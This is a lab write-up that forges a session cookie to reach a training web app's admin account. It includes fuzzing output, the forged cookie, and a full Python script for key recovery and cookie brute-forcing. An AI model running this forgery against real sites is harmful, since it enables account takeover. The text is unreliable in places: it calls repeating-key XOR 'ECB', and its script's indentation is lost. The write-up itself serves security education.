Introduction
This image focuses on breaking ECB encryption that is implemented in the management of user sessions. The goal of the image is to become authenticated as the admin
user.
Discovery
First I created a few accounts with some fuzzy username data (20 a
and 40 a
s) and the same password password
. Using a proxy, I intercepted the cookies, and wrote a script to crack the ECB key from the collected cookies. By examining the cookie byte by byte (either hex or dec values) we see that there is a repeating set of bytes. ECB works by using a key of a set length and XOR’ing the bytes of the unencrypted data with the key repeatedly.
So we can find the ECB key by creating a username consisting of the same character that exceeds the length of the encryption key. By finding a repeating block of length = x within our encrypted data and XOR
ing the each byte of the encrypted data with the known value of the unencrypted character, we are able to deduce the original encryption key because:
a ^ b = c
c ^ a = b
c ^ b = a
So using the script I wrote to automate this key discovery and decryption, this is the output I received from the two cookies I intercepted:
coastals-MacBook-Pro:Desktop coastal$ python magic_cookie_jar.py -e aaaaaaaaaaaaaaaaaaaa:GkzSM2vKHdcaTNIza8od12vhlsH%2FXdq5gkDx7Gas4cg%3D
Adding crackable cookie to jar: GkzSM2vKHdcaTNIza8od12vhlsH%2FXdq5gkDx7Gas4cg%3D : aaaaaaaaaaaaaaaaaaaa
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Raw Dough: GkzSM2vKHdcaTNIza8od12vhlsH%2FXdq5gkDx7Gas4cg%3D
URL Decoded: GkzSM2vKHdcaTNIza8od12vhlsH/Xdq5gkDx7Gas4cg=
B64 Decoded: 0x1a 0x4c 0xd2 0x33 0x6b 0xca 0x1d 0xd7 0x1a 0x4c 0xd2 0x33 0x6b 0xca 0x1d 0xd7 0x6b 0xe1 0x96 0xc1 0xff 0x5d 0xda 0xb9 0x82 0x40 0xf1 0xec 0x66 0xac 0xe1 0xc8
Dec Values: 026 076 210 051 107 202 029 215 026 076 210 051 107 202 029 215 107 225 150 193 255 093 218 185 130 064 241 236 102 172 225 200
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Finding repeated blocks in ECB encypted string
[+] Found repeat block: [26, 76, 210, 51, 107, 202, 29, 215]
[*] Calculating ECB key (8-byte block key)
[*] XORing 26 with 97 for key-byte 0
[*] XORing 76 with 97 for key-byte 1
[*] XORing 210 with 97 for key-byte 2
[*] XORing 51 with 97 for key-byte 3
[*] XORing 107 with 97 for key-byte 4
[*] XORing 202 with 97 for key-byte 5
[*] XORing 29 with 97 for key-byte 6
[*] XORing 215 with 97 for key-byte 7
[+] Found potential encryption key: [123, 45, 179, 82, 10, 171, 124, 182]
[*] Testing key
[*] Unencrypted (ascii): aaaaaaaaaaaaaaaa ?%???? ?mB?l ?~
[+] SUCCESS! Baking complete
coastals-MacBook-Pro:Desktop coastal$ python magic_cookie_jar.py -e aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:GkzSM2vKHdcaTNIza8od1xpM0jNryh3XGkzSM2vKHdcaTNIza8od14CK2fgGoR0YfOYZkab5pa0%3D
Adding crackable cookie to jar: GkzSM2vKHdcaTNIza8od1xpM0jNryh3XGkzSM2vKHdcaTNIza8od14CK2fgGoR0YfOYZkab5pa0%3D : aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Raw Dough: GkzSM2vKHdcaTNIza8od1xpM0jNryh3XGkzSM2vKHdcaTNIza8od14CK2fgGoR0YfOYZkab5pa0%3D
URL Decoded: GkzSM2vKHdcaTNIza8od1xpM0jNryh3XGkzSM2vKHdcaTNIza8od14CK2fgGoR0YfOYZkab5pa0=
B64 Decoded: 0x1a 0x4c 0xd2 0x33 0x6b 0xca 0x1d 0xd7 0x1a 0x4c 0xd2 0x33 0x6b 0xca 0x1d 0xd7 0x1a 0x4c 0xd2 0x33 0x6b 0xca 0x1d 0xd7 0x1a 0x4c 0xd2 0x33 0x6b 0xca 0x1d 0xd7 0x1a 0x4c 0xd2 0x33 0x6b 0xca 0x1d 0xd7 0x80 0x8a 0xd9 0xf8 0x06 0xa1 0x1d 0x18 0x7c 0xe6 0x19 0x91 0xa6 0xf9 0xa5 0xad
Dec Values: 026 076 210 051 107 202 029 215 026 076 210 051 107 202 029 215 026 076 210 051 107 202 029 215 026 076 210 051 107 202 029 215 026 076 210 051 107 202 029 215 128 138 217 248 006 161 029 024 124 230 025 145 166 249 165 173
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Finding repeated blocks in ECB encypted string
[+] Found repeat block: [26, 76, 210, 51, 107, 202, 29, 215]
[*] Calculating ECB key (8-byte block key)
[*] XORing 26 with 97 for key-byte 0
[*] XORing 76 with 97 for key-byte 1
[*] XORing 210 with 97 for key-byte 2
[*] XORing 51 with 97 for key-byte 3
[*] XORing 107 with 97 for key-byte 4
[*] XORing 202 with 97 for key-byte 5
[*] XORing 29 with 97 for key-byte 6
[*] XORing 215 with 97 for key-byte 7
[+] Found potential encryption key: [123, 45, 179, 82, 10, 171, 124, 182]
[*] Testing key
[*] Unencrypted (ascii): aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa??j? a? ˪ìR?
[+] SUCCESS! Baking complete
So we notice that there are 16-bytes of padding on the end of both of the decoded cookie values following the username, while they both have the same password.
Cookie 1
Username: aaaaaaaaaaaaaaaaaaaa
Length: 20-bytes
Padding: 16-bytes
Cookie-Length: 32-bytes
Cookie 2
Username: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Length: 40-bytes
Padding: 16-bytes
Cookie-Length: 56-bytes
Fuzzing
Creating these cookies to dissect manually through proxy-intercepts is time-consuming and inefficient. Plus we really want to look at the edge-cases in order to dissect the cookie-ification process more thoroughly. So I wrote a brute-forcing script that iteratively generates cookies and looks at the decrypted values. This dump is from logging into accounts with the password password
and usernames ranging from a
* 1 -> a
* 40. The accounts were previously generated with the same process, but the URL=[truncated]/register.php
.
coastals-MacBook-Pro:Desktop coastal$ python magic_cookie_jar.py -b http://192.168.56.101/login.php^^^auth^^^ey2zUgqrfLY=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-MAGIC COOKIE JAR=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Running in Brute mode
[+] Username: a
[+] Unencrypted (ascii) [len=16]: 3 ?K?(????P#|??a
[+] Username: aa
[+] Unencrypted (ascii) [len=16]: ?-?dR_ ??? ?y
[+] Username: aaa
[+] Unencrypted (ascii) [len=16]: ȓS>]?# ??Q?{?
[+] Username: aaaa
[+] Unencrypted (ascii) [len=16]: ?%???? ?mB?l ?~
[+] Username: aaaaa
[+] Unencrypted (ascii) [len=16]: Hɸ??>?Q|bu6 HWU
[+] Username: aaaaaa
[+] Unencrypted (ascii) [len=16]: ? ??? ?^? ?5?^
[+] Username: aaaaaaa
[+] Unencrypted (ascii) [len=16]: %???m?????? ?5?
[+] Username: aaaaaaaa
[+] Unencrypted (ascii) [len=24]: aaaaaaaa??j? a? ˪ìR?
[+] Username: aaaaaaaaa
[+] Unencrypted (ascii) [len=24]: aaaaaaaa3 ?K?(????P#|??a
[+] Username: aaaaaaaaaa
[+] Unencrypted (ascii) [len=24]: aaaaaaaa?-?dR_ ??? ?y
[+] Username: aaaaaaaaaaa
[+] Unencrypted (ascii) [len=24]: aaaaaaaaȓS>]?# ??Q?{?
[+] Username: aaaaaaaaaaaa
[+] Unencrypted (ascii) [len=24]: aaaaaaaa ?%???? ?mB?l ?~
[+] Username: aaaaaaaaaaaaa
[+] Unencrypted (ascii) [len=24]: aaaaaaaaHɸ??>?Q|bu6 HWU
[+] Username: aaaaaaaaaaaaaa
[+] Unencrypted (ascii) [len=24]: aaaaaaaa? ??? ?^? ?5?^
[+] Username: aaaaaaaaaaaaaaa
[+] Unencrypted (ascii) [len=24]: aaaaaaaa %???m?????? ?5?
[+] Username: aaaaaaaaaaaaaaaa
[+] Unencrypted (ascii) [len=32]: aaaaaaaaaaaaaaaa??j? a? ˪ìR?
[+] Username: aaaaaaaaaaaaaaaaa
[+] Unencrypted (ascii) [len=32]: aaaaaaaaaaaaaaaa3 ?K?(????P#|??a
[+] Username: aaaaaaaaaaaaaaaaaa
[+] Unencrypted (ascii) [len=32]: aaaaaaaaaaaaaaaa?-?dR_ ??? ?y
[+] Username: aaaaaaaaaaaaaaaaaaa
[+] Unencrypted (ascii) [len=32]: aaaaaaaaaaaaaaaaȓS>]?# ??Q?{?
[+] Username: aaaaaaaaaaaaaaaaaaaa
[+] Unencrypted (ascii) [len=32]: aaaaaaaaaaaaaaaa ?%???? ?mB?l ?~
[+] Username: aaaaaaaaaaaaaaaaaaaaa
[+] Unencrypted (ascii) [len=32]: aaaaaaaaaaaaaaaaHɸ??>?Q|bu6 HWU
[+] Username: aaaaaaaaaaaaaaaaaaaaaa
[+] Unencrypted (ascii) [len=32]: aaaaaaaaaaaaaaaa? ??? ?^? ?5?^
[+] Username: aaaaaaaaaaaaaaaaaaaaaaa
[+] Unencrypted (ascii) [len=32]: aaaaaaaaaaaaaaaa %???m?????? ?5?
[+] Username: aaaaaaaaaaaaaaaaaaaaaaaa
[+] Unencrypted (ascii) [len=40]: aaaaaaaaaaaaaaaaaaaaaaaa??j? a? ˪ìR?
[+] Username: aaaaaaaaaaaaaaaaaaaaaaaaa
[+] Unencrypted (ascii) [len=40]: aaaaaaaaaaaaaaaaaaaaaaaa3 ?K?(????P#|??a
[+] Username: aaaaaaaaaaaaaaaaaaaaaaaaaa
[+] Unencrypted (ascii) [len=40]: aaaaaaaaaaaaaaaaaaaaaaaa?-?dR_ ??? ?y
[+] Username: aaaaaaaaaaaaaaaaaaaaaaaaaaa
[+] Unencrypted (ascii) [len=40]: aaaaaaaaaaaaaaaaaaaaaaaaȓS>]?# ??Q?{?
[+] Username: aaaaaaaaaaaaaaaaaaaaaaaaaaaa
[+] Unencrypted (ascii) [len=40]: aaaaaaaaaaaaaaaaaaaaaaaa ?%???? ?mB?l ?~
[+] Username: aaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[+] Unencrypted (ascii) [len=40]: aaaaaaaaaaaaaaaaaaaaaaaaHɸ??>?Q|bu6 HWU
[+] Username: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[+] Unencrypted (ascii) [len=40]: aaaaaaaaaaaaaaaaaaaaaaaa? ??? ?^? ?5?^
[+] Username: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[+] Unencrypted (ascii) [len=40]: aaaaaaaaaaaaaaaaaaaaaaaa %???m?????? ?5?
[+] Username: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[+] Unencrypted (ascii) [len=48]: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa??j? a? ˪ìR?
[+] Username: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[+] Unencrypted (ascii) [len=48]: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa3 ?K?(????P#|??a
[+] Username: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[+] Unencrypted (ascii) [len=48]: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa?-?dR_ ??? ?y
[+] Username: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[+] Unencrypted (ascii) [len=48]: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaȓS>]?# ??Q?{?
[+] Username: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[+] Unencrypted (ascii) [len=48]: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?%???? ?mB?l ?~
[+] Username: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[+] Unencrypted (ascii) [len=48]: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaHɸ??>?Q|bu6 HWU
[+] Username: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[+] Unencrypted (ascii) [len=48]: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa? ??? ?^? ?5?^
[+] Username: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[+] Unencrypted (ascii) [len=48]: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa %???m?????? ?5?
[+] Username: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[+] Unencrypted (ascii) [len=56]: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa??j? a? ˪ìR?
So a few things I noticed here…The starting size of the cookie is 16-bytes (at least with our password=password
configuration). The cookie increases in 8-byte increments that match character increases in username size. But maybe most interestingly, the 16 bytes that seem to not be decrypted with the key we pulled from our 20-character ‘a’ username follow the same pattern as we increase the number of bytes 1 by 1.
[+] Username: a
[+] Unencrypted (ascii) [len=16]: 3 ?K?(????P#|??a
[+] Username: aaaaaaaaa
[+] Unencrypted (ascii) [len=24]: aaaaaaaa3 ?K?(????P#|??a
[+] Username: aaaaaaaaaaaaaaaaa
[+] Unencrypted (ascii) [len=32]: aaaaaaaaaaaaaaaa3 ?K?(????P#|??a
[+] Username: aaaaaaaaaaaaaaaaaaaaaaaaa
[+] Unencrypted (ascii) [len=40]: aaaaaaaaaaaaaaaaaaaaaaaa3 ?K?(????P#|??a
[+] Username: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[+] Unencrypted (ascii) [len=48]: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa3 ?K?(????P#|??a
The way I interpreted this, is that the pattern of the trailing 16-bytes matches the overflown characters from the username. Let’s test this theory by changing the character that will be the first to enter the ‘overflow’:
[+] Username: aaaaaaaa
[+] Unencrypted (ascii) [len=24]: aaaaaaaa??j? a? ˪ìR?
[+] Username: aaaaaaaab
[+] Unencrypted (ascii) [len=24]: aaaaaaaa??/:D"??P#|??a
Now let’s compare the trailing 16-bytes of that cookie to the ‘unencrypted’ cookie we get from a username with just the character b
:
[*] Running in Brute mode
[+] Username: b
[+] Unencrypted (ascii) [len=16]: ??/:D"??P#|??a
They are identical! And so we have identified our exploitation mechanism.
Exploitation
As we don’t know the password to the admin account, but we can gain access through cookie modification, it is likely that the authentication scheme doesn’t take password into account. Let’s generate our admin
cookie payload by generating a cookie with the following value:
aaaaaaaaadmin
Using our proxy, we intercept this Set-Cookie
value:
Set-Cookie: auth=GkzSM2vKHdfgVmQuKXLregdPxmQZ4yvj
Beautiful! Now we will need to parse out the admin
cookie from the whole cookie that was generated. Since admin
is the only part of the username in the 8-byte overflow that makes up the first 8-bytes of the trailing 16-bytes, we should be able to parse out the last 16-bytes, re-cookie-ify it, and use that cookie to gain access to the admin account. A little python console work should yield us our b64encoded/urlencoded admin
cookie.
>>> auth="GkzSM2vKHdfgVmQuKXLregdPxmQZ4yvj"
>>> import base64
>>> base64.b64decode(auth)
'\x1aL\xd23k\xca\x1d\xd7\xe0Vd.)r\xebz\x07O\xc6d\x19\xe3+\xe3'
>>> '\x1aL\xd23k\xca\x1d\xd7\xe0Vd.)r\xebz\x07O\xc6d\x19\xe3+\xe3'[-16::]
'\xe0Vd.)r\xebz\x07O\xc6d\x19\xe3+\xe3'
>>> base64.b64encode('\xe0Vd.)r\xebz\x07O\xc6d\x19\xe3+\xe3')
'4FZkLily63oHT8ZkGeMr4w=='
>>> urllib.quote_plus('4FZkLily63oHT8ZkGeMr4w==')
'4FZkLily63oHT8ZkGeMr4w%3D%3D'
Now let’s intercept a new request to http://192.168.56.101/index.php
and change the auth
cookie to our hacked together admin
cookie before forwarding it:
Cookie: auth=4FZkLily63oHT8ZkGeMr4w%3D%3D
And it works! We’ve gained access to the admin account. I really enjoyed this challenge. Fuzzing is a massively useful concept in understanding these black-box challenges and identifying weaknesses in the systems. I’ve included the script I wrote for this challenge below. I think it’s pretty brittle and probably includes code I don’t need or didn’t use so reader beware.
Rough Source
#!/usr/bin/env python2
import os, sys, urllib, base64, getopt, requests
from itertools import cycle
cookie_jar = []
print_width = 100
USAGE_MESSAGE = "Usage:\n"
USAGE_MESSAGE += "Value-Dump | python magic_cookie_jar.py -v [cookie]:[cookie]\n"
USAGE_MESSAGE += "ECB-Crack | python magic_cookie_jar.py -e [fuzz-value]:[cookie]\n"
USAGE_MESSAGE += "Key-Decryption | python magic_cookie_jar.py -k [base64-encoded key]:[cookie]\n"
USAGE_MESSAGE += "Brute-Cookies | python magic_cookie_jar.py -b [url]^^^[cookie-name]\n"
class Cookie:
def __init__(self, raw_cookie_value, unencrypted_string=None, ecb_crack=False):
self.raw_val = raw_cookie_value
self.url_decoded = urllib.unquote_plus(self.raw_val)
self.b64_decoded = base64.b64decode(self.url_decoded)
self.dec_values = self.b64_to_dec(self.b64_decoded)
self.unencrypted_string = unencrypted_string # unencrypted string
self.ecb_crack = ecb_crack # True if we are cracking this cookie
self.ecb_repeat_block = None
self.encryption_key = None
self.unencrypted_cookie = None
def b64_to_dec(self, b64_value):
dec_array = []
for x in range(0, len(b64_value)):
dec_array.append(ord(b64_value[x]))
return dec_array
def hex_format(self, hex_input):
encoded = hex_input.encode("hex")
unformatted = [encoded[x:x+2] for x in range(0, len(encoded), 2)]
formatted = "0x" + " 0x".join(c for c in unformatted)
return formatted
def dec_format(self, dec_array):
dec_string = ""
for dec in dec_array:
dec_string += str(dec).zfill(3) + " "
return dec_string
def show_cookie(self):
print ("=-"*30 + "=")
self.format_print("[+] Raw Dough:\n", self.raw_val)
self.format_print("[+] URL Decoded:\n", self.url_decoded)
self.format_print("[+] B64 Decoded:\n", self.hex_format(self.b64_decoded))
self.format_print("[+] Dec Values:\n", self.dec_format(self.dec_values))
print ("=-"*30 + "=")
def format_print(self, label, value):
if label is None:
label = ""
if value is None:
value = ""
print "{} {}".format(label, value)
def crack_ecb(self):
repeat_block = []
print ("[*] Finding repeated blocks in ECB encypted string")
for idx,dec in enumerate(self.dec_values):
# print ("current: {}".format(dec))
if idx == 0:
repeat_block.append(dec)
else:
if dec == repeat_block[0]:
# compare the repeat block contents to the next n elements
# to see if we've found a repeated block
check_repeat = self.dec_values[idx:idx+len(repeat_block)]
if repeat_block == check_repeat:
print ("[+] Found repeat block: {}".format(repeat_block))
self.ecb_repeat_block = repeat_block
self.calculate_ecb_key()
break
else:
repeat_block.append(dec)
def calculate_ecb_key(self):
print (" [*] Calculating ECB key ({}-byte block key)".format(len(self.ecb_repeat_block)))
ecb_key = []
for idx,dec_value in enumerate(self.ecb_repeat_block):
unencrypted_byte = ord(self.unencrypted_string[idx])
print (" [*] XORing {} with {} for key-byte {}".format(dec_value,unencrypted_byte, idx))
key_val = unencrypted_byte ^ dec_value
ecb_key.append(key_val)
self.encryption_key = ecb_key
print ("[+] Found potential encryption key: {}".format(self.encryption_key))
print (" [*] Testing key")
encrypted_cookie = self.dec_values
unencrypted_cookie = self.encrypt(encrypted_cookie, self.encryption_key)
re_encrypted_cookie = self.encrypt(unencrypted_cookie, self.encryption_key)
#print ("[+] Encrypted cookie ({}-bytes):\n{}".format(len(encrypted_cookie),' '.join(str(c).zfill(3) for c in encrypted_cookie)))
#print ("[+] Unencrypted cookie:\n{}".format(' '.join(str(c).zfill(3) for c in unencrypted_cookie)))
print (" [*] Unencrypted (ascii): {}".format(''.join(self.safe_format_hex_to_ascii_string(unencrypted_cookie))))
#print ("[+] Re-encrypted cookie:\n{}".format(' '.join(str(c).zfill(3) for c in re_encrypted_cookie)))
if encrypted_cookie == re_encrypted_cookie:
base64encoded_key = base64.b64encode(''.join(chr(c) for c in self.encryption_key))
raw_encryption_key = base64.b64decode(base64encoded_key)
print ("[+] SUCCESS! Baking complete")
print (r" [+] Dec encryption key: {}".format(self.encryption_key))
print (r" [+] Raw encryption key: {}".format(raw_encryption_key))
print (" [+] Base64 encoded key: {}".format(base64encoded_key))
else:
print ("[-] ERROR. Oven broken")
def decrypt_cookie(self,output="all"):
if output == "all":
encrypted_cookie = self.dec_values
unencrypted_cookie = self.encrypt(encrypted_cookie, self.encryption_key)
re_encrypted_cookie = self.encrypt(unencrypted_cookie, self.encryption_key)
print ("[+] Encrypted cookie ({}-bytes):\n{}".format(len(encrypted_cookie),' '.join(str(c).zfill(3) for c in encrypted_cookie)))
print ("[+] Unencrypted cookie:\n{}".format(' '.join(str(c).zfill(3) for c in unencrypted_cookie)))
print ("[+] Unencrypted (ascii): {}".format(''.join(self.safe_format_hex_to_ascii_string(unencrypted_cookie))))
elif output == "unencrypted":
encrypted_cookie = self.dec_values
unencrypted_cookie = self.encrypt(encrypted_cookie, self.encryption_key)
print ("[+] Unencrypted (ascii) [len={}]: {}".format(len(unencrypted_cookie),''.join(self.safe_format_hex_to_ascii_string(unencrypted_cookie))))
elif output == "dec+unencrypted":
encrypted_cookie = self.dec_values
unencrypted_cookie = self.encrypt(encrypted_cookie, self.encryption_key)
print ("[+] Unencrypted cookie:\n{}".format(' '.join(str(c).zfill(3) for c in unencrypted_cookie)))
print ("[+] Unencrypted (ascii) [len={}]: {}".format(len(unencrypted_cookie),''.join(self.safe_format_hex_to_ascii_string(unencrypted_cookie))))
def encrypt(self, value, key):
return [a ^ b for (a,b) in zip(value, cycle(key))]
def safe_format_hex_to_ascii_string(self, hex_dec_values):
safe_string = []
for char in hex_dec_values:
if 32 <= char <= 255:
safe_string.append(chr(char))
else:
safe_string.append(" ")
return safe_string
def add_encryption_key_from_b64(self, b64key):
self.encryption_key = [ord(c) for c in base64.b64decode(b64key)]
#print ("[+] Encryption key added from base64 value")
def process_cookies(delimited_cookies, type=None):
if type == None:
print ("[-] Whoops, forgot a cookie run-mode")
elif type == "value_dump":
cookie_strings = delimited_cookies.split(":")
for cookie_string in cookie_strings:
print ("[*] Adding cookie to jar: {}".format(cookie_string))
new_cookie = Cookie(cookie_string)
cookie_jar.append(new_cookie)
elif type == "ecb_crack":
ecb_cookie_pairs = delimited_cookies.split("+")
for cookie_pair in ecb_cookie_pairs:
ecb_input_string = cookie_pair.split(":")[0]
cookie_string = cookie_pair.split(":")[1]
print ("[*] Adding crackable cookie to jar: {} : {}".format(cookie_string, ecb_input_string))
new_cookie = Cookie(cookie_string, unencrypted_string=ecb_input_string, ecb_crack=True)
cookie_jar.append(new_cookie)
elif type == "key_decrypt":
cookie_vals = delimited_cookies.split(":")
b64key = cookie_vals[0]
cookie_string = cookie_vals[1]
print ("[*] Decrypting cookie {} with key {}".format(cookie_string, b64key))
new_cookie = Cookie(cookie_string)
new_cookie.add_encryption_key_from_b64(b64key)
cookie_jar.append(new_cookie)
def what_cookies():
for cookie in cookie_jar:
cookie.show_cookie()
def crack_ecbs():
for cookie in cookie_jar:
cookie.crack_ecb()
def decrypt_with_key():
for cookie in cookie_jar:
cookie.decrypt_cookie()
def brute_request_cookies(url_cookie_string):
url = url_cookie_string.split("^^^")[0]
cookie_name = url_cookie_string.split("^^^")[1]
name_text = ""
for x in range(1, 41):
if x <= 8:
name_text += "b"
else:
name_text += "b"
payload = {
"username":name_text,
"password":"password",
"password_again":"password"
}
headers = {
"Host": "192.168.56.101",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:51.0) Gecko/20100101 Firefox/51.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Referer": "http://192.168.56.101/index.php",
"Connection": "close",
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": "{}".format(51+len(name_text))
}
s = requests.Session()
req = requests.Request('POST', url,headers=headers)
prepped = req.prepare()
prepped.body = "username={}&password={}&password_again={}".format(name_text,"password","password")
r = s.send(prepped)
if r.status_code == 200:
#print ("session: {}".format(s.cookies.get_dict()))
if "duplicate" in r.text.lower():
print ("[-] Username {} already exists".format(name_text))
else:
if len(url_cookie_string.split("^^^")) == 3:
b64key = url_cookie_string.split("^^^")[2]
raw_cookie = s.cookies.get_dict()[cookie_name]
cookie_to_process = Cookie(raw_cookie)
cookie_to_process.add_encryption_key_from_b64(b64key)
print ("[+] Username: {}".format(name_text))
cookie_to_process.decrypt_cookie(output="unencrypted")
else:
raw_cookie = s.cookies.get_dict()[cookie_name]
print "[+] Username: {}".format(name_text)
print "[+] Cookie (len={}): {}".format(len(raw_cookie), raw_cookie)
else:
print ("[-] Error: {}".format(r.status_code))
print ("[-] Error: {}".format(r.text))
def main(argv):
print ("=-"*30 + "=")
print ("=-"*11 + "MAGIC COOKIE JAR" + "=-"*11 + "=")
print ("=-"*30 + "=")
try:
opts, args = getopt.getopt(argv,"h:v:e:k:b:",["values=","ecb_crack=","key_decrypt=","brute_cookies="])
except getopt.GetoptError as err:
print ("Parsing Error")
print ("{}".format(err))
print (USAGE_MESSAGE)
sys.exit(2)
if len(argv) < 1:
print (USAGE_MESSAGE)
for opt, arg in opts:
if opt == '-h':
print (USAGE_MESSAGE)
sys.exit()
elif opt in ("-v", "--values"):
print ("[*] Running in Value-Dump mode")
process_cookies(arg, type="value_dump")
what_cookies()
elif opt in ("-e", "--ecb_crack"):
print ("[*] Running in ECB-Crack mode")
process_cookies(arg, type="ecb_crack")
what_cookies()
crack_ecbs()
elif opt in ("-k", "--key_decrypt"):
print ("[*] Running in Key-Decryption mode")
process_cookies(arg, type="key_decrypt")
what_cookies()
decrypt_with_key()
elif opt in ("-b", "--brute_cookies"):
print ("[*] Running in Brute mode")
brute_request_cookies(arg)
else:
print (USAGE_MESSAGE)
print ("=-"*30 + "=")
if __name__ == "__main__":
main(sys.argv[1:])